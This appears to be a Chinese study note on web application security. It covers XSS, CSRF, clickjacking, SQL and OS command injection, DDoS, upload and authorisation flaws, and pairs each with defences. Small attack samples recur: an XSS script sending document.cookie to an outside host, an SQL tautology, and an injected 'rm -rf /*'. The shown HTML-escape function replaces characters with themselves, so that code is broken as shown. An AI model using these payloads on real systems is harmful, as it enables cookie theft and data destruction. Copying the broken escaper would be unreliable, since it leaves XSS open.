1.XXS
跨站脚本攻击(cross site scripting),由于怕跟css重名 改成叫xss
被攻击的结果:
- 页面数据被篡改
- cookies数据被窃取
1.反射型攻击:url参数注入
在页面解析时候执行注入js,同时由于怕url的script脚本太明显,会通过生成短域名的来隐藏。
流程
- 用户登录论坛,用户信息存在浏览器cookie
- 访问被注入的hack.js的url,同时访问hack服务器
- hack服务器返回自动执行的hack.jsj脚本
- 用户把自己cookie提交给服务器
- 服务器记录cookie信息
- 攻击者把用户的cookie放在自己浏览器
- 攻击者通过伪装cookie使用用户信息访问论坛
//直接执行的脚本
http://www.baidu.com?aa=<script>alert('xxx')</script>
//外部的js脚本
http://www.baidu.com?aa=<script src='http://www.xxx.com/hack.js'></script>
//hack.js 攻击的服务器代码
var img = new Image()
img.src='http://localhost:4000/img?c='+document.cookie//通过脚步获取cookie信息
实现的流程图
2.存储型攻击
通过用户提交表单,把注入的js都保存数据库,下次所有人访问都会触发攻击。
流程
- 攻击者提交带有hack.js脚本到论坛
- 用户登录论坛,用户信息存在浏览器cookie
- 用户访问被注入hack的评论,同时访问hack服务器
- hack服务器返回自动执行的hack.jsj脚本
- 用户把自己cookie提交给服务器
- 服务器记录cookie信息
- 攻击者把用户的cookie放在自己浏览器
- 攻击者通过伪装cookie使用用户信息访问论坛
防守XXS
校验限制
通过正则限制输入的类型。如具体的不同的业务字段使用不同的规则,文本、数字、日期、邮箱地址、URL等。
1.X-XSS-Protection
默认打开X-XSS-Protection防御,默认设置为1
//对应服务端代码
ctx.set('X-XSS-Protection', 0)// 如果设置0 不打开防御(苹果safari才可以测试,chrome直接不支持,改用更高级的csp)
2.csp内容安全策略(content security policy)
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图⽚
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
对于服务端代码
ctx.set('Content-Security-Policy', "default-src 'self'")
3.输出编码
html编码
手工转,字符串转移 黑名单处理
如 把< 转义成 <
//转义方法,缺点需要转的都要单独指定,比较繁琐
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
- 第三方脱敏工具
- xss库
//只有指定的不过滤,其他都转义
使用npm的xss库
const xss = require('xss') //xss默认指定了一些白名单
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
console.log(html)
- DOMPurify库
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize('<b>hello there</b>');
url编码
- 对URL参数进行URL编码(如
%3C代替<), - 使用框架提供的URL构建工具(如
encodeURIComponent())。
CSS编码
使用CSS转义(如 \3C 代替 <)
4.httpOnly
//后端代码,设置后 ,执行document.cookie 不能访问cookies,只能通过http传输
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
//前端无法访问和修改,只能是服务器给你什么,你再返回什么,而且你看不到是什么。
5.少用v-html
2.CSRF(cross site request forgery)跨站请求伪造
流程
- 用户访问论坛服务器,进行登陆,有cookie
- 接着又访问hack服务器
- hack服务器直接用调用 “论坛服务器”某些提交的接口(如支付),由于已经登陆过,会直接通过权限校验,请求成功。
防御
- referer 判断原服务器和当前请求的服务器是不是同一台。
//通过referer 判断
app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})
- 把请求信息加上一些token做二次校验。
- 验证码/人机交互,短信
- cookie值 进行hash 通过表单力加入一些随机数,在于cookie解析出来的校验随机数是否相符
3.点击劫持
通过一些视觉欺骗,诱惑用户点击一个隐藏的iframe,iframe是一个正常网站的地址,适用用点赞。
1.X-FRAME-OPTIONS限制
- DENY,表示⻚⾯不允许通过 iframe 的⽅式展示
- SAMEORIGIN,表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
- ALLOW-FROM,表示⻚⾯可以在指定来源的 iframe 中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
2.js判断
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
4.SQL注⼊
通过 where 条件注入
select * user where password = '1' or '1'='1'
1.防御 - 占位符
使用占位参数? 代替sql直接拼接
node:
// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
php:
$menu = MenuTable::getSelector()
->where('status = 1')
->where('controller = ?', $controller)
->where('action = ?', $action)
->fetchRow();
但是在 like in order by并不直接使用占位,可以特殊处理
like 特殊处理
- MyBatis ${}做参数,直接用字符串拼接,有安全风险
select * from news where title like '$%{title}%'
- MyBatis #{}做参数,会创建一个预编译语句,可以规避拼接
select * from news where title like concat('%',#{title},'%')
in 特殊处理
id in
<foreach collection="ids" item="item" open="("separator="," close=")">
#{item}
</foreach>
order by/ group by/ limit 特殊处理
通过条件限定在指定范围的 字段。
switch(columnName){
case "name":columnName="name";
break;
case "num" :columnName="num" ;
break;
default : columnName="id" ;
}
5.OS命令注⼊
shell注入,比如jenkins或者node的一些自动执行的命令
假如在接⼝中需要从 github 下载⽤户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);
//如果传⼊的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&
6.请求劫持
DNS劫持
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的 ip
HTTP劫持
运营商劫持,此时⼤概只能升级HTTPS了
7.DDOS
DDOS 不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。⽹ 站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了瘫痪 服务的⽬的。
常⻅攻击⽅式
SYN Flood
此攻击通过向⽬标发送具有欺骗性源IP地址的⼤量TCP“初始连接请求”SYN数据包来利⽤TCP握 ⼿。⽬标机器响应每个连接请求,然后等待握⼿中的最后⼀步,这⼀步从未发⽣过,耗尽了进程 中的⽬标资源。
HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - ⼤量HTTP请求泛滥服务器, 导致拒绝服务。
防御⼿段
-
备份⽹站 备份⽹站不⼀定是全功能的,如果能做到全静态浏览,就能满⾜需求。最低限度应该可以显示公告,告诉 ⽤户,⽹站出了问题,正在全⼒抢修。
-
HTTP 请求的拦截 ⾼防IP -靠谱的运营商 多个 Docker 硬件 服务器 防⽕墙
-
带宽扩容 + CDN 提⾼犯罪成本
其他
接口安全泄露
- 接口返回了敏感的信息(如活动里面包含了用户信息, )
- 调用云存储:上传接口前端直接是使用SSO密钥发起。
文件上传攻击
通过上传可执行文件,如脚本语言,如php,jsp,javascript等
防御:
- 扩展名检查:判断后缀
- MIME类型检查:读取文件流 通过头信息
魔数比较与实际预期的文件是否一致
| 文件类型 | 魔数(十六进制) | 说明 |
|---|---|---|
| JPEG | FF D8 FF | 开头必须是 FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A | 开头必须是 89 50 4E 47 0D 0A 1A 0A |
25 50 44 46 | 开头必须是 %PDF(ASCII 码) | |
| GIF | 47 49 46 38 | 开头必须是 GIF8 |
| ZIP | 50 4B 03 04 | 开头必须是 PK.. |
越权漏洞
- 水平越权:用户A访问了属于用户B的数据(如查看他人订单)
- 垂直越权:普通用户访问了管理员功能(如删除用户,修改配置)
- 未授权访问:未登录用户直接访问需要认证才能访问的接口
防御:
- 执行关键操作前,必须校验用户信息
- 用户的唯一信息必须是不可以猜测,如用户id不要用int自增该用雪花算法生成
前端串改参数
- 通过修改订单的价格实现
0元购 - 修改 金额,数量,状态等
防御:
- 生成数据签名,对用户金额和订单签名
- 入参判正负,金额、数量等相关
- 支付过程中加一个服务器生成的key,校验用户参数是否被篡改
- 服务端校验/过滤客户端提交的参数
并发请求
同一个请求,同时触发数百次请求。如使用优惠券或者积分兑换等。
防御:
- 后端做加锁机制来防止并发操作带来的条件竞争问题
- 随机算法生成优惠券ID,使其难以被猜测或遍历
- 确保优惠券具有唯一标识,使用优惠券时,先检查其状态
安全编码规范
- 输入验证:对所有用户输入进行验证,确保输入符合预期的格式和长度,防止注入攻击。
- 输出编码:对所有输出进行编码,以防止跨站脚本攻击(XSS)。
- 错误处理:合理处理所有异常情况,避免敏感信息泄露。
- 最小权限原则:在编写代码时,只授予必要的权限,防止权限提升攻击。
- 安全更新和补丁管理:及时关注并应用官方发布的安全更新和补丁,修复已知漏洞。